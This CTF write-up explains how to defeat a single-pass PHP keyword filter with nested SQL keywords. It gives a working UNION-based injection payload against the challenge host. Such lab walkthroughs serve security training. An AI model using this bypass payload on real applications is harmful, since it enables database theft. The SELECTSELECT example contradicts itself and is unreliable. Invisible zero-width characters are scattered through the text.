← Back to Writeups
CUSTOMEasyWeb

Dead or alive 7

XESXOR9/10/20262 min read
#web#custom#easy#double_write_bypass#nested_keyword_injection

Dead or alive 7

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: double_write_bypass, nested_keyword_injection

Summary

Walkthrough of the CUSTOM Web Dead or alive 7. SQL injection bypass task. WAF uses preg_replace to remove SQL keywords.

Description

SQL injection bypass task. WAF uses preg_replace to remove SQL keywords.

URL: http://kslweb1.spb.ctf.su/sqli/bypass7/

Analysis

Seventh task in the SQL injection bypass series. WAF is implemented via PHP's preg_replace() function, which removes dangerous SQL keywords:

  • SELECT
  • UNION
  • FROM
  • and others

Key vulnerability: the filter performs only one pass of removal. This allows using the "double-write" technique — embedding a keyword inside itself so that after the inner part is removed, a valid keyword remains. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Double-write bypass principle

If WAF removes SELECT from a string once:

  • REDACTED → after removing SELECT from the middle → SELECT
  • UNUNIONION → after removing UNION from the middle → UNION

Transformation examples

OriginalAfter preg_replaceResult
REDACTEDSELECT removedSELECT
UNUNIONIONUNION removedUNION
FRFROMOMFROM removedFROM

Payload

' UNUNIONION REDACTED flag FRFROMOM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

After WAF processing:

' UNION SELECT flag FROM flags--

Alternative nesting options

You can nest at different positions:

  • REDACTED — in the middle
  • SELECTSELECT — won't work (first SELECT removed, SELECT remains)
  • SSELECTELECT — SELECT removed, SELECT remains

The key is that after removing the inner occurrence, the letters "merge" into the desired word. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering double_write_bypass, nested_keyword_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Dead or alive 7 • Difficulty: Easy